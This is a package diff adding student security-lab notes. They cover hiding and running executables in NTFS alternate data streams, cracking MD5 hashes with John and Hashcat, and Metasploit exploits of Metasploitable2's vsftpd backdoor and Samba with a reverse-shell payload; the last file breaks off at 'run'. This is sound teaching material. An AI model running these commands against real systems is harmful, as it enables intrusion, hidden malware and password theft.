juneja-codebase 4.1.1__tar.gz → 4.1.2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/PKG-INFO +1 -1
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/__init__.py +1 -1
- juneja_codebase-4.1.2/juneja_codebase/templates/HackingScripts/ads.txt +171 -0
- juneja_codebase-4.1.2/juneja_codebase/templates/HackingScripts/ads_much_shorter_now.txt +86 -0
- juneja_codebase-4.1.2/juneja_codebase/templates/HackingScripts/john_ripper.txt +97 -0
- juneja_codebase-4.1.2/juneja_codebase/templates/HackingScripts/metaspoitable.txt +185 -0
- juneja_codebase-4.1.2/juneja_codebase/templates/HackingScripts/nw_scanning_recon.txt +282 -0
- juneja_codebase-4.1.2/juneja_codebase/templates/HackingScripts/sql_injection_dvwa.txt +227 -0
- juneja_codebase-4.1.2/juneja_codebase/templates/HackingScripts/zap_juiceshop.txt +129 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase.egg-info/PKG-INFO +1 -1
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase.egg-info/SOURCES.txt +7 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/setup.py +1 -1
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/LICENSE +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/MANIFEST.in +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/README.md +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/main.py +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/.vscode/tasks.json +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise1_Blockchain +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise1_Blockchain.cpp +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise2_Blockchain +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise2_Blockchain.cpp +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise3-1_Blockchain +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise3-1_Blockchain.cpp +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise3-2_Blockchain +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise3-2_Blockchain.cpp +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise3-3_Blockchain +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise3-3_Blockchain.cpp +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise4_Blockchain +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise4_Blockchain.cpp +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise5_Blockchain +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise5_Blockchain.cpp +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise6_Blockchain +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise6_Blockchain.cpp +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise7_Blockchain +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise7_Blockchain.cpp +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise8-1_Blockchain.sol +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise8-2_Blockchain.sol +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/AnshJuneja_LabExercise8-3_Blockchain.sol +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/pythonic version/q10_hyperledger_chaincode.js +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/pythonic version/q1_sha256_digest.py +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/pythonic version/q2_sha256_encrypt_decrypt.py +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/pythonic version/q3_rsa.py +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/pythonic version/q4_pow_blockchain.py +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/pythonic version/q5_digital_signature.py +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/pythonic version/q6_blockchain_transactions.py +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/pythonic version/q7_five_nodes_hash.py +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/pythonic version/q8_five_nodes_validity.py +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/Blockchain Codes/pythonic version/q9_SimpleBank.sol +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical10_CD.l +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical10_CD.y +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical11_CD.l +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical11_CD.y +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical12_CD.l +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical12_CD.y +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical13_CD.l +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical13_CD.y +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical1_CD.l +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical2_CD.l +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical3_CD.l +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical4_CD.l +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical5_CD.l +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical6_CD.l +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical7_CD.l +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical8_CD.l +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical9_CD.l +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/compiler_design/AnshJuneja_Practical9_CD.y +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/deep_learning/Denoised_Autoencoders.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/deep_learning/Fashion_Mnist_DenseNet201_VGG19_PreTModel.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/deep_learning/Image_Compression_Autoencoders.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/deep_learning/boston_housing.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/deep_learning/cnn_fashionmnist.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/deep_learning/posneg_imdb_ffnn..ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/deep_learning/reuters.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/deep_learning/rnnlstm_timeseries_imdb.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/social_network_analysis/1_try.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/social_network_analysis/2_try.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/social_network_analysis/3_try.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/social_network_analysis/4_try.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/social_network_analysis/5_try.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/social_network_analysis/6_try.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase/templates/social_network_analysis/new.ipynb +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase.egg-info/dependency_links.txt +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase.egg-info/entry_points.txt +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/juneja_codebase.egg-info/top_level.txt +0 -0
- {juneja_codebase-4.1.1 → juneja_codebase-4.1.2}/setup.cfg +0 -0
|
@@ -0,0 +1,171 @@
|
|
|
1
|
+
============================================================
|
|
2
|
+
PRACTICAL — ALTERNATE DATA STREAMS (ADS)
|
|
3
|
+
============================================================
|
|
4
|
+
|
|
5
|
+
STEP 1 — Open Command Prompt
|
|
6
|
+
- Run CMD as Administrator
|
|
7
|
+
|
|
8
|
+
------------------------------------------------------------
|
|
9
|
+
|
|
10
|
+
STEP 2 — Create Working Folder
|
|
11
|
+
|
|
12
|
+
cd C:\
|
|
13
|
+
|
|
14
|
+
mkdir ADS_Lab
|
|
15
|
+
|
|
16
|
+
cd ADS_Lab
|
|
17
|
+
|
|
18
|
+
------------------------------------------------------------
|
|
19
|
+
|
|
20
|
+
STEP 3 — Create Normal File
|
|
21
|
+
|
|
22
|
+
echo This is a normal visible file. > normal.txt
|
|
23
|
+
|
|
24
|
+
------------------------------------------------------------
|
|
25
|
+
|
|
26
|
+
STEP 4 — Verify File
|
|
27
|
+
|
|
28
|
+
type normal.txt
|
|
29
|
+
|
|
30
|
+
dir normal.txt
|
|
31
|
+
|
|
32
|
+
------------------------------------------------------------
|
|
33
|
+
|
|
34
|
+
STEP 5 — Create Hidden ADS Stream
|
|
35
|
+
|
|
36
|
+
echo This is SECRET hidden data inside ADS! > normal.txt:hidden.txt
|
|
37
|
+
|
|
38
|
+
------------------------------------------------------------
|
|
39
|
+
|
|
40
|
+
STEP 6 — Verify File Size
|
|
41
|
+
|
|
42
|
+
dir normal.txt
|
|
43
|
+
|
|
44
|
+
------------------------------------------------------------
|
|
45
|
+
|
|
46
|
+
STEP 7 — Read Hidden Stream
|
|
47
|
+
|
|
48
|
+
more < normal.txt:hidden.txt
|
|
49
|
+
|
|
50
|
+
------------------------------------------------------------
|
|
51
|
+
|
|
52
|
+
STEP 8 — Create Another Hidden Stream
|
|
53
|
+
|
|
54
|
+
echo Attacker's second payload here! > normal.txt:payload2.txt
|
|
55
|
+
|
|
56
|
+
------------------------------------------------------------
|
|
57
|
+
|
|
58
|
+
STEP 9 — Create ADS on Folder
|
|
59
|
+
|
|
60
|
+
echo Hidden in a FOLDER stream > ADS_Lab:folderhidden.txt
|
|
61
|
+
|
|
62
|
+
more < ADS_Lab:folderhidden.txt
|
|
63
|
+
|
|
64
|
+
------------------------------------------------------------
|
|
65
|
+
|
|
66
|
+
STEP 10 — Create Empty Carrier File
|
|
67
|
+
|
|
68
|
+
echo. > carrier.txt
|
|
69
|
+
|
|
70
|
+
echo TOP SECRET CONTENT > carrier.txt:secret
|
|
71
|
+
|
|
72
|
+
type carrier.txt
|
|
73
|
+
|
|
74
|
+
more < carrier.txt:secret
|
|
75
|
+
|
|
76
|
+
------------------------------------------------------------
|
|
77
|
+
|
|
78
|
+
STEP 11 — Hide Executable in ADS
|
|
79
|
+
|
|
80
|
+
type C:\Windows\System32\calc.exe > normal.txt:malware.exe
|
|
81
|
+
|
|
82
|
+
------------------------------------------------------------
|
|
83
|
+
|
|
84
|
+
STEP 12 — Run Hidden Executable
|
|
85
|
+
|
|
86
|
+
wmic process call create "C:\ADS_Lab\normal.txt:malware.exe"
|
|
87
|
+
|
|
88
|
+
Alternative:
|
|
89
|
+
|
|
90
|
+
start "" "C:\ADS_Lab\normal.txt:malware.exe"
|
|
91
|
+
|
|
92
|
+
------------------------------------------------------------
|
|
93
|
+
|
|
94
|
+
STEP 13 — View All ADS Streams
|
|
95
|
+
|
|
96
|
+
dir /r
|
|
97
|
+
|
|
98
|
+
------------------------------------------------------------
|
|
99
|
+
|
|
100
|
+
STEP 14 — View ADS for Specific File
|
|
101
|
+
|
|
102
|
+
dir /r normal.txt
|
|
103
|
+
|
|
104
|
+
------------------------------------------------------------
|
|
105
|
+
|
|
106
|
+
STEP 15 — Detect ADS Using PowerShell
|
|
107
|
+
|
|
108
|
+
powershell -command "Get-Item C:\ADS_Lab\normal.txt -Stream *"
|
|
109
|
+
|
|
110
|
+
------------------------------------------------------------
|
|
111
|
+
|
|
112
|
+
STEP 16 — Detect All ADS in Folder
|
|
113
|
+
|
|
114
|
+
powershell -command "Get-ChildItem C:\ADS_Lab | ForEach-Object { Get-Item $_.FullName -Stream * }"
|
|
115
|
+
|
|
116
|
+
------------------------------------------------------------
|
|
117
|
+
|
|
118
|
+
STEP 17 — Read ADS Using PowerShell
|
|
119
|
+
|
|
120
|
+
powershell -command "Get-Content C:\ADS_Lab\normal.txt -Stream hidden.txt"
|
|
121
|
+
|
|
122
|
+
------------------------------------------------------------
|
|
123
|
+
|
|
124
|
+
STEP 18 — Remove Specific ADS
|
|
125
|
+
|
|
126
|
+
powershell -command "Remove-Item C:\ADS_Lab\normal.txt -Stream hidden.txt"
|
|
127
|
+
|
|
128
|
+
------------------------------------------------------------
|
|
129
|
+
|
|
130
|
+
STEP 19 — Verify Removal
|
|
131
|
+
|
|
132
|
+
dir /r normal.txt
|
|
133
|
+
|
|
134
|
+
------------------------------------------------------------
|
|
135
|
+
|
|
136
|
+
STEP 20 — Remove ADS by Copying File
|
|
137
|
+
|
|
138
|
+
copy normal.txt cleaned_normal.txt
|
|
139
|
+
|
|
140
|
+
dir /r cleaned_normal.txt
|
|
141
|
+
|
|
142
|
+
------------------------------------------------------------
|
|
143
|
+
|
|
144
|
+
STEP 21 — Remove All ADS Streams
|
|
145
|
+
|
|
146
|
+
powershell -command "Get-Item C:\ADS_Lab\normal.txt -Stream * | Where-Object {$_.Stream -ne ':$DATA'} | Remove-Item"
|
|
147
|
+
|
|
148
|
+
------------------------------------------------------------
|
|
149
|
+
|
|
150
|
+
STEP 22 — Final Verification
|
|
151
|
+
|
|
152
|
+
dir /r C:\ADS_Lab\
|
|
153
|
+
|
|
154
|
+
------------------------------------------------------------
|
|
155
|
+
|
|
156
|
+
STEP 23 — Verify Remaining Streams
|
|
157
|
+
|
|
158
|
+
powershell -command "Get-Item C:\ADS_Lab\normal.txt -Stream *"
|
|
159
|
+
|
|
160
|
+
============================================================
|
|
161
|
+
RESULT
|
|
162
|
+
============================================================
|
|
163
|
+
|
|
164
|
+
1. ADS streams created successfully
|
|
165
|
+
2. Hidden data attached to files and folders
|
|
166
|
+
3. ADS detected using dir /r and PowerShell
|
|
167
|
+
4. Hidden streams removed successfully
|
|
168
|
+
|
|
169
|
+
============================================================
|
|
170
|
+
END
|
|
171
|
+
============================================================
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
============================================================
|
|
2
|
+
PRACTICAL — ALTERNATE DATA STREAMS (ADS)
|
|
3
|
+
============================================================
|
|
4
|
+
|
|
5
|
+
STEP 1 — Open Command Prompt
|
|
6
|
+
- Run CMD as Administrator
|
|
7
|
+
|
|
8
|
+
------------------------------------------------------------
|
|
9
|
+
|
|
10
|
+
STEP 2 — Create Working Directory
|
|
11
|
+
|
|
12
|
+
cd C:\
|
|
13
|
+
|
|
14
|
+
mkdir ADS_Lab
|
|
15
|
+
|
|
16
|
+
cd ADS_Lab
|
|
17
|
+
|
|
18
|
+
------------------------------------------------------------
|
|
19
|
+
|
|
20
|
+
STEP 3 — Create Normal File
|
|
21
|
+
|
|
22
|
+
echo This is a normal file. > normal.txt
|
|
23
|
+
|
|
24
|
+
Verify file:
|
|
25
|
+
|
|
26
|
+
type normal.txt
|
|
27
|
+
|
|
28
|
+
------------------------------------------------------------
|
|
29
|
+
|
|
30
|
+
STEP 4 — Create Hidden ADS Stream
|
|
31
|
+
|
|
32
|
+
echo Hidden secret data > normal.txt:hidden.txt
|
|
33
|
+
|
|
34
|
+
Read hidden stream:
|
|
35
|
+
|
|
36
|
+
more < normal.txt:hidden.txt
|
|
37
|
+
|
|
38
|
+
------------------------------------------------------------
|
|
39
|
+
|
|
40
|
+
STEP 5 — Hide Executable Inside ADS
|
|
41
|
+
|
|
42
|
+
type C:\Windows\System32\calc.exe > normal.txt:calc.exe
|
|
43
|
+
|
|
44
|
+
------------------------------------------------------------
|
|
45
|
+
|
|
46
|
+
STEP 6 — Run Hidden Executable
|
|
47
|
+
|
|
48
|
+
wmic process call create "C:\ADS_Lab\normal.txt:calc.exe"
|
|
49
|
+
|
|
50
|
+
------------------------------------------------------------
|
|
51
|
+
|
|
52
|
+
STEP 7 — View ADS Streams
|
|
53
|
+
|
|
54
|
+
dir /r
|
|
55
|
+
|
|
56
|
+
------------------------------------------------------------
|
|
57
|
+
|
|
58
|
+
STEP 8 — Detect ADS Using PowerShell
|
|
59
|
+
|
|
60
|
+
powershell -command "Get-Item C:\ADS_Lab\normal.txt -Stream *"
|
|
61
|
+
|
|
62
|
+
------------------------------------------------------------
|
|
63
|
+
|
|
64
|
+
STEP 9 — Remove ADS Stream
|
|
65
|
+
|
|
66
|
+
powershell -command "Remove-Item C:\ADS_Lab\normal.txt -Stream hidden.txt"
|
|
67
|
+
|
|
68
|
+
------------------------------------------------------------
|
|
69
|
+
|
|
70
|
+
STEP 10 — Verify Removal
|
|
71
|
+
|
|
72
|
+
dir /r
|
|
73
|
+
|
|
74
|
+
============================================================
|
|
75
|
+
RESULT
|
|
76
|
+
============================================================
|
|
77
|
+
|
|
78
|
+
1. Alternate Data Stream created successfully
|
|
79
|
+
2. Hidden data and executable stored inside ADS
|
|
80
|
+
3. Hidden executable executed successfully
|
|
81
|
+
4. ADS detected using dir /r and PowerShell
|
|
82
|
+
5. Hidden stream removed successfully
|
|
83
|
+
|
|
84
|
+
============================================================
|
|
85
|
+
END
|
|
86
|
+
============================================================
|
|
@@ -0,0 +1,97 @@
|
|
|
1
|
+
============================================================
|
|
2
|
+
PRACTICAL — PASSWORD CRACKING USING JOHN & HASHCAT
|
|
3
|
+
============================================================
|
|
4
|
+
|
|
5
|
+
STEP 1 — Verify Tools
|
|
6
|
+
|
|
7
|
+
sudo apt install -y john
|
|
8
|
+
sudo apt install -y hashcat
|
|
9
|
+
|
|
10
|
+
john
|
|
11
|
+
|
|
12
|
+
hashcat --version
|
|
13
|
+
|
|
14
|
+
------------------------------------------------------------
|
|
15
|
+
|
|
16
|
+
STEP 2 — Generate MD5 Hashes
|
|
17
|
+
|
|
18
|
+
echo -n "password123" | md5sum
|
|
19
|
+
|
|
20
|
+
echo -n "hello" | md5sum
|
|
21
|
+
|
|
22
|
+
echo -n "abc123" | md5sum
|
|
23
|
+
|
|
24
|
+
------------------------------------------------------------
|
|
25
|
+
|
|
26
|
+
STEP 3 — Save Hashes
|
|
27
|
+
|
|
28
|
+
echo "482c811da5d5b4bc6d497ffa98491e38" > hashes.txt
|
|
29
|
+
|
|
30
|
+
echo "5d41402abc4b2a76b9719d911017c592" >> hashes.txt
|
|
31
|
+
|
|
32
|
+
echo "e99a18c428cb38d5f260853678922e03" >> hashes.txt
|
|
33
|
+
|
|
34
|
+
Verify file:
|
|
35
|
+
|
|
36
|
+
cat hashes.txt
|
|
37
|
+
|
|
38
|
+
------------------------------------------------------------
|
|
39
|
+
|
|
40
|
+
STEP 4 — Prepare Wordlist
|
|
41
|
+
|
|
42
|
+
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
|
|
43
|
+
|
|
44
|
+
Create custom wordlist:
|
|
45
|
+
|
|
46
|
+
echo -e "password123\nhello\nabc123" > mylist.txt
|
|
47
|
+
|
|
48
|
+
Verify:
|
|
49
|
+
|
|
50
|
+
cat mylist.txt
|
|
51
|
+
|
|
52
|
+
------------------------------------------------------------
|
|
53
|
+
|
|
54
|
+
STEP 5 — Crack Hashes Using John
|
|
55
|
+
|
|
56
|
+
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
|
|
57
|
+
|
|
58
|
+
Show cracked passwords:
|
|
59
|
+
|
|
60
|
+
john --show --format=raw-md5 hashes.txt
|
|
61
|
+
|
|
62
|
+
------------------------------------------------------------
|
|
63
|
+
|
|
64
|
+
STEP 6 — Crack Hashes Using Hashcat
|
|
65
|
+
|
|
66
|
+
hashcat -m 0 -a 0 hashes.txt mylist.txt --force -O -D 1 -w 1 --kernel-accel 1 --kernel-loops 1
|
|
67
|
+
|
|
68
|
+
Show cracked hashes:
|
|
69
|
+
|
|
70
|
+
hashcat -m 0 hashes.txt --show
|
|
71
|
+
|
|
72
|
+
------------------------------------------------------------
|
|
73
|
+
|
|
74
|
+
STEP 7 — Verify Results
|
|
75
|
+
|
|
76
|
+
Expected cracked passwords:
|
|
77
|
+
|
|
78
|
+
password123
|
|
79
|
+
|
|
80
|
+
hello
|
|
81
|
+
|
|
82
|
+
abc123
|
|
83
|
+
|
|
84
|
+
------------------------------------------------------------
|
|
85
|
+
|
|
86
|
+
RESULT
|
|
87
|
+
============================================================
|
|
88
|
+
|
|
89
|
+
1. Generated MD5 hashes successfully
|
|
90
|
+
2. Created hashes.txt and custom wordlist
|
|
91
|
+
3. Cracked hashes using John the Ripper
|
|
92
|
+
4. Cracked hashes using Hashcat
|
|
93
|
+
5. Demonstrated dictionary attack on weak passwords
|
|
94
|
+
|
|
95
|
+
============================================================
|
|
96
|
+
END
|
|
97
|
+
============================================================
|
|
@@ -0,0 +1,185 @@
|
|
|
1
|
+
============================================================
|
|
2
|
+
PRACTICAL — METASPLOIT & METASPLOITABLE2
|
|
3
|
+
============================================================
|
|
4
|
+
|
|
5
|
+
STEP 1 — Configure VMware
|
|
6
|
+
- Set both VMs to:
|
|
7
|
+
Host-Only Network
|
|
8
|
+
- Metasploitable2:
|
|
9
|
+
Disable Network Adapter 2
|
|
10
|
+
- Start both VMs
|
|
11
|
+
|
|
12
|
+
------------------------------------------------------------
|
|
13
|
+
|
|
14
|
+
STEP 2 — Get Metasploitable2 IP
|
|
15
|
+
Login:
|
|
16
|
+
Username: msfadmin
|
|
17
|
+
Password: msfadmin
|
|
18
|
+
|
|
19
|
+
Run:
|
|
20
|
+
|
|
21
|
+
ifconfig
|
|
22
|
+
|
|
23
|
+
Note IP under:
|
|
24
|
+
eth0
|
|
25
|
+
|
|
26
|
+
------------------------------------------------------------
|
|
27
|
+
|
|
28
|
+
STEP 3 — Get Kali IP
|
|
29
|
+
|
|
30
|
+
ip a
|
|
31
|
+
|
|
32
|
+
Note IP under:
|
|
33
|
+
eth0
|
|
34
|
+
|
|
35
|
+
------------------------------------------------------------
|
|
36
|
+
|
|
37
|
+
STEP 4 — Test Connectivity
|
|
38
|
+
|
|
39
|
+
ping 192.168.xx.xx
|
|
40
|
+
|
|
41
|
+
(Target = Metasploitable2 IP)
|
|
42
|
+
|
|
43
|
+
Stop using:
|
|
44
|
+
CTRL + C
|
|
45
|
+
|
|
46
|
+
------------------------------------------------------------
|
|
47
|
+
|
|
48
|
+
STEP 5 — Scan Target Using Nmap
|
|
49
|
+
|
|
50
|
+
nmap -sV 192.168.xx.xx
|
|
51
|
+
|
|
52
|
+
Observe important ports:
|
|
53
|
+
- 21 FTP
|
|
54
|
+
- 22 SSH
|
|
55
|
+
- 80 HTTP
|
|
56
|
+
- 445 Samba
|
|
57
|
+
|
|
58
|
+
------------------------------------------------------------
|
|
59
|
+
|
|
60
|
+
STEP 6 — Start Metasploit
|
|
61
|
+
|
|
62
|
+
msfconsole
|
|
63
|
+
|
|
64
|
+
Wait for:
|
|
65
|
+
msf6 >
|
|
66
|
+
|
|
67
|
+
------------------------------------------------------------
|
|
68
|
+
|
|
69
|
+
STEP 7 — Search vsftpd Exploit
|
|
70
|
+
|
|
71
|
+
search vsftpd
|
|
72
|
+
|
|
73
|
+
------------------------------------------------------------
|
|
74
|
+
|
|
75
|
+
STEP 8 — Load vsftpd Exploit
|
|
76
|
+
|
|
77
|
+
use exploit/unix/ftp/vsftpd_234_backdoor
|
|
78
|
+
|
|
79
|
+
------------------------------------------------------------
|
|
80
|
+
|
|
81
|
+
STEP 9 — View Options
|
|
82
|
+
|
|
83
|
+
show options
|
|
84
|
+
|
|
85
|
+
------------------------------------------------------------
|
|
86
|
+
|
|
87
|
+
STEP 10 — Set Target IP
|
|
88
|
+
|
|
89
|
+
set RHOSTS 192.168.xx.xx
|
|
90
|
+
|
|
91
|
+
------------------------------------------------------------
|
|
92
|
+
|
|
93
|
+
STEP 11 — Set Kali IP
|
|
94
|
+
|
|
95
|
+
set LHOST 192.168.xx.xx
|
|
96
|
+
|
|
97
|
+
------------------------------------------------------------
|
|
98
|
+
|
|
99
|
+
STEP 12 — Set Payload
|
|
100
|
+
|
|
101
|
+
set payload cmd/unix/interact
|
|
102
|
+
|
|
103
|
+
------------------------------------------------------------
|
|
104
|
+
|
|
105
|
+
STEP 13 — Run Exploit
|
|
106
|
+
|
|
107
|
+
run
|
|
108
|
+
|
|
109
|
+
------------------------------------------------------------
|
|
110
|
+
|
|
111
|
+
STEP 14 — Verify Access
|
|
112
|
+
|
|
113
|
+
getuid
|
|
114
|
+
|
|
115
|
+
sysinfo
|
|
116
|
+
|
|
117
|
+
pwd
|
|
118
|
+
|
|
119
|
+
ls
|
|
120
|
+
|
|
121
|
+
------------------------------------------------------------
|
|
122
|
+
|
|
123
|
+
STEP 15 — Background Session
|
|
124
|
+
|
|
125
|
+
background
|
|
126
|
+
|
|
127
|
+
------------------------------------------------------------
|
|
128
|
+
|
|
129
|
+
STEP 16 — Load Samba Exploit
|
|
130
|
+
|
|
131
|
+
use exploit/multi/samba/usermap_script
|
|
132
|
+
|
|
133
|
+
------------------------------------------------------------
|
|
134
|
+
|
|
135
|
+
STEP 17 — Set Target IP
|
|
136
|
+
|
|
137
|
+
set RHOSTS 192.168.xx.xx
|
|
138
|
+
|
|
139
|
+
------------------------------------------------------------
|
|
140
|
+
|
|
141
|
+
STEP 18 — Set Kali IP
|
|
142
|
+
|
|
143
|
+
set LHOST 192.168.xx.xx
|
|
144
|
+
|
|
145
|
+
------------------------------------------------------------
|
|
146
|
+
|
|
147
|
+
STEP 19 — Set Payload
|
|
148
|
+
|
|
149
|
+
set payload cmd/unix/reverse
|
|
150
|
+
|
|
151
|
+
------------------------------------------------------------
|
|
152
|
+
|
|
153
|
+
STEP 20 — Run Samba Exploit
|
|
154
|
+
|
|
155
|
+
run
|
|
156
